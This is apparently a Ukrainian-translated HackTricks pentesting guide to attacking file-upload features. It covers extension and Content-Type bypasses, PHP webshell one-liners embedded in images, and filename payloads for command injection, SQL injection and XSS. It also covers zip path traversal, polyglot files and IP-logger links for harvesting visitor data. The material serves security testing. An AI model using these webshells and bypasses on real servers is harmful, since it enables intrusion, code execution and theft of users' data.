File Upload
Last updated
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Якщо ви зацікавлені в кар'єрі в хакерстві та хочете зламати незламне - ми наймаємо! (вимагається вільне володіння польською мовою в письмовій та усній формі).
Інші корисні розширення:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
Працюючи в PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
Якщо вони застосовуються, перевірте попередні розширення. Також протестуйте їх, використовуючи деякі великі літери: pHp, .pHP5, .PhAr ...
Перевірте додавання дійсного розширення перед виконуваним розширенням (використовуйте також попередні розширення):
file.png.php
file.png.Php5
Спробуйте додати спеціальні символи в кінці. Ви можете використовувати Burp для брутфорсу всіх ascii та Unicode символів. (Зверніть увагу, що ви також можете спробувати використовувати раніше згадані розширення)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
Спробуйте обійти захист, обманюючи парсер розширень на стороні сервера за допомогою технік, таких як подвоєння розширення або додавання сміттєвих даних (нульові байти) між розширеннями. Ви також можете використовувати попередні розширення для підготовки кращого корисного навантаження.
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
Додайте інший шар розширень до попередньої перевірки:
file.png.jpg.php
file.php%00.png%00.jpg
Спробуйте поставити exec розширення перед дійсним розширенням і сподівайтеся, що сервер неправильно налаштований. (корисно для експлуатації неправильних налаштувань Apache, де все з розширенням .php, але не обов'язково закінчується на .php, буде виконувати код):
ex: file.php.png
Використання NTFS альтернативного потоку даних (ADS) у Windows. У цьому випадку символ двокрапки “:” буде вставлений після забороненого розширення і перед дозволеним. В результаті на сервері буде створено порожній файл з забороненим розширенням (наприклад, “file.asax:.jpg”). Цей файл може бути відредагований пізніше за допомогою інших технік, таких як використання його короткого імені. Шаблон “::$data” також може бути використаний для створення непорожніх файлів. Тому додавання символу крапки після цього шаблону також може бути корисним для обходу подальших обмежень (наприклад, “file.asp::$data.”)
Спробуйте порушити обмеження імені файлу. Дійсне розширення обрізається. А шкідливий PHP залишається. AAA<--SNIP-->AAA.php
Обійдіть перевірки Content-Type, встановивши значення заголовка Content-Type на: image/png, text/plain, application/octet-stream_
Обійдіть перевірку magic number, додавши на початку файлу байти реального зображення (заплутайте команду file). Або введіть оболонку всередину метаданих:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
або ви також можете ввести корисне навантаження безпосередньо в зображення:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
Якщо сжаття додається до вашого зображення, наприклад, за допомогою деяких стандартних PHP бібліотек, таких як PHP-GD, попередні техніки не будуть корисні. Однак ви можете використовувати техніку PLTE chunk визначену тут для вставки деякого тексту, який переживе стиснення.
Веб-сторінка також може змінювати розмір зображення, використовуючи, наприклад, функції PHP-GD imagecopyresized
або imagecopyresampled
. Однак ви можете використовувати техніку IDAT chunk визначену тут для вставки деякого тексту, який переживе стиснення.
Інша техніка для створення корисного навантаження, яке переживе зміну розміру зображення, використовуючи функцію PHP-GD thumbnailImage
. Однак ви можете використовувати техніку tEXt chunk визначену тут для вставки деякого тексту, який переживе стиснення.
Знайдіть вразливість для перейменування вже завантаженого файлу (щоб змінити розширення).
Знайдіть вразливість Local File Inclusion для виконання бекдору.
Можливе розкриття інформації:
Завантажте декілька разів (і в один і той же час) той самий файл з тим самим ім'ям
Завантажте файл з ім'ям файлу або папки, яка вже існує
Завантажте файл з “.”, “..”, або “…” як його ім'я. Наприклад, в Apache на Windows, якщо програма зберігає завантажені файли в каталозі “/www/uploads/”, ім'я “.” створить файл під назвою “uploads” у каталозі “/www/”.
Завантажте файл, який може бути не легко видалити, наприклад, “…:.jpg” в NTFS. (Windows)
Завантажте файл у Windows з недійсними символами, такими як |<>*?”
в його імені. (Windows)
Завантажте файл у Windows, використовуючи зарезервовані (заборонені) імена, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, і LPT9.
Спробуйте також завантажити виконуваний (.exe) або .html (менш підозрілий), який виконає код, коли випадково відкриється жертвою.
Якщо ви намагаєтеся завантажити файли на PHP сервер, ознайомтеся з трюком .htaccess для виконання коду. Якщо ви намагаєтеся завантажити файли на ASP сервер, ознайомтеся з трюком .config для виконання коду.
Файли .phar
подібні до .jar
для java, але для php, і можуть бути використані як php файл (виконуючи його з php або включаючи його в скрипт...)
Розширення .inc
іноді використовується для php файлів, які використовуються лише для імпорту файлів, тому в якийсь момент хтось міг дозволити виконання цього розширення.
Якщо ви можете завантажити XML файл на сервер Jetty, ви можете отримати RCE, оскільки нові *.xml та *.war автоматично обробляються. Отже, як зазначено на наступному зображенні, завантажте XML файл до $JETTY_BASE/webapps/
і чекайте оболонку!
Для детального вивчення цієї вразливості перевірте оригінальне дослідження: uWSGI RCE Exploitation.
Вразливості віддаленого виконання команд (RCE) можуть бути експлуатовані на серверах uWSGI, якщо є можливість змінити файл конфігурації .ini
. Файли конфігурації uWSGI використовують специфічний синтаксис для включення "магічних" змінних, заповнювачів та операторів. Зокрема, оператор '@', який використовується як @(filename)
, призначений для включення вмісту файлу. Серед різних підтримуваних схем в uWSGI, схема "exec" є особливо потужною, дозволяючи читати дані з стандартного виходу процесу. Цю функцію можна маніпулювати для злочинних цілей, таких як віддалене виконання команд або довільне записування/читання файлів, коли обробляється файл конфігурації .ini
.
Розгляньте наступний приклад шкідливого файлу uwsgi.ini
, що демонструє різні схеми:
Виконання payload відбувається під час парсингу конфігураційного файлу. Щоб конфігурація була активована та проаналізована, процес uWSGI повинен бути перезапущений (можливо, після збою або через атаку відмови в обслуговуванні) або файл повинен бути налаштований на автоматичне перезавантаження. Функція автоматичного перезавантаження, якщо вона увімкнена, перезавантажує файл через певні інтервали при виявленні змін.
Важливо зрозуміти м'яку природу парсингу конфігураційного файлу uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (такий як зображення або PDF), що ще більше розширює можливості потенційної експлуатації.
В деяких випадках ви можете виявити, що сервер використовує wget
для завантаження файлів і ви можете вказати URL. У цих випадках код може перевіряти, що розширення завантажених файлів знаходиться в білому списку, щоб забезпечити завантаження лише дозволених файлів. Однак, цю перевірку можна обійти.
Максимальна довжина імені файлу в linux становить 255, однак wget обрізає імена файлів до 236 символів. Ви можете завантажити файл під назвою "A"*232+".php"+".gif", це ім'я файлу обійде перевірку (оскільки в цьому прикладі ".gif" є допустимим розширенням), але wget
перейменує файл на "A"*232+".php".
Зверніть увагу, що інший варіант, про який ви можете думати, щоб обійти цю перевірку, - це зробити так, щоб HTTP сервер перенаправляв на інший файл, тому початкова URL-адреса обійде перевірку, а потім wget завантажить перенаправлений файл з новою назвою. Це не спрацює, якщо wget не використовується з параметром --trust-server-names
, оскільки wget завантажить перенаправлену сторінку з назвою файлу, вказаною в оригінальній URL-адресі.
Upload Bypass - це потужний інструмент, розроблений для допомоги пентестерам та шукачам вразливостей у тестуванні механізмів завантаження файлів. Він використовує різні техніки баг-баунті, щоб спростити процес виявлення та експлуатації вразливостей, забезпечуючи всебічну оцінку веб-додатків.
Встановіть filename на ../../../tmp/lol.png
і спробуйте досягти перетворення шляху
Встановіть filename на sleep(10)-- -.jpg
і ви можете досягти SQL-ін'єкції
Встановіть filename на <svg onload=alert(document.domain)>
, щоб досягти XSS
Встановіть filename на ; sleep 10;
, щоб протестувати деякі ін'єкції команд (більше триків ін'єкцій команд тут)
JS файл завантаження + XSS = експлуатація сервісних працівників
Спробуйте різні svg payloads з https://github.com/allanlw/svg-cheatsheet****
Якщо ви можете вказати веб-серверу, щоб отримати зображення з URL, ви можете спробувати зловживати SSRF. Якщо це зображення буде збережено на якомусь публічному сайті, ви також можете вказати URL з https://iplogger.org/invisible/ і вкрасти інформацію про кожного відвідувача.
Спеціально підготовлені PDF для XSS: наступна сторінка показує, як впровадити дані PDF для отримання виконання JS. Якщо ви можете завантажувати PDF, ви можете підготувати деякі PDF, які виконуватимуть довільний JS відповідно до вказаних вказівок.
Завантажте [eicar](https://secure.eicar.org/eicar.com.txt) вміст, щоб перевірити, чи є на сервері якийсь антивірус
Перевірте, чи є якийсь обмеження за розміром при завантаженні файлів
Ось топ-10 речей, які ви можете досягти, завантажуючи (з тут):
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Збережений XSS / SSRF / XXE
GIF: Збережений XSS / SSRF
CSV: Ін'єкція CSV
XML: XXE
AVI: LFI / SSRF
HTML / JS : Ін'єкція HTML / XSS / Відкрите перенаправлення
PNG / JPEG: Атака на піксельний потоп (DoS)
ZIP: RCE через LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
Дивіться https://en.wikipedia.org/wiki/List_of_file_signatures для інших типів файлів.
Якщо ви можете завантажити ZIP, який буде розпакований на сервері, ви можете зробити 2 речі:
Завантажте посилання, що містить м'які посилання на інші файли, а потім, отримуючи доступ до розпакованих файлів, ви отримаєте доступ до пов'язаних файлів:
Несподіване створення файлів у каталогах під час розпакування є значною проблемою. Незважаючи на початкові припущення, що ця конфігурація може захистити від виконання команд на рівні ОС через шкідливі завантаження файлів, ієрархічна підтримка стиснення та можливості обходу каталогів формату ZIP можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі безпечних каталогів завантаження, маніпулюючи функціональністю розпакування цільового застосунку.
Автоматизований експлойт для створення таких файлів доступний на evilarc on GitHub. Утиліту можна використовувати, як показано:
Додатково, трик з symlink з evilarc є варіантом. Якщо мета полягає в тому, щоб націлитися на файл, наприклад, /flag.txt
, слід створити symlink на цей файл у вашій системі. Це забезпечує, що evilarc не зіткнеться з помилками під час своєї роботи.
Нижче наведено приклад коду Python, який використовується для створення шкідливого zip-файлу:
Зловживання стисненням для спрейінгу файлів
Для отримання додаткової інформації перегляньте оригінальну публікацію в: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
Створення PHP Shell: PHP код написаний для виконання команд, переданих через змінну $_REQUEST
.
Спрайінг файлів та створення стиснутого файлу: Створюється кілька файлів, і збирається zip-архів, що містить ці файли.
Модифікація за допомогою Hex Editor або vi: Імена файлів всередині zip змінюються за допомогою vi або hex редактора, змінюючи "xxA" на "../" для переходу між каталогами.
Завантажте цей вміст з розширенням зображення, щоб експлуатувати вразливість (ImageMagick , 7.0.1-1) (з експлойту)
Вбудовування PHP shell у частину IDAT файлу PNG може ефективно обійти певні операції обробки зображень. Функції imagecopyresized
та imagecopyresampled
з PHP-GD є особливо актуальними в цьому контексті, оскільки їх зазвичай використовують для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися незмінним під час цих операцій є значною перевагою для певних випадків використання.
Детальне дослідження цієї техніки, включаючи її методологію та потенційні застосування, надано в наступній статті: "Кодування веб-оболонок у частинах PNG IDAT". Цей ресурс пропонує всебічне розуміння процесу та його наслідків.
Більше інформації за адресою: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Поліглотні файли слугують унікальним інструментом у кібербезпеці, діючи як хамелеони, які можуть дійсно існувати в кількох форматах файлів одночасно. Цікавим прикладом є GIFAR, гібрид, який функціонує як GIF, так і RAR-архів. Такі файли не обмежуються лише цим поєднанням; комбінації, такі як GIF і JS або PPT і JS, також можливі.
Основна корисність поліглотних файлів полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Загальною практикою в різних програмах є дозволяти лише певні типи файлів для завантаження — такі як JPEG, GIF або DOC — щоб зменшити ризик, пов'язаний з потенційно шкідливими форматами (наприклад, JS, PHP або Phar файли). Однак поліглот, відповідно до структурних критеріїв кількох типів файлів, може непомітно обійти ці обмеження.
Незважаючи на свою адаптивність, поліглоти стикаються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) і JPEG, успіх його завантаження може залежати від політики системи щодо розширень файлів. Якщо система сувора щодо дозволених розширень, то лише структурна подвійність поліглота може не бути достатньою для гарантії його завантаження.
Більше інформації за адресою: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)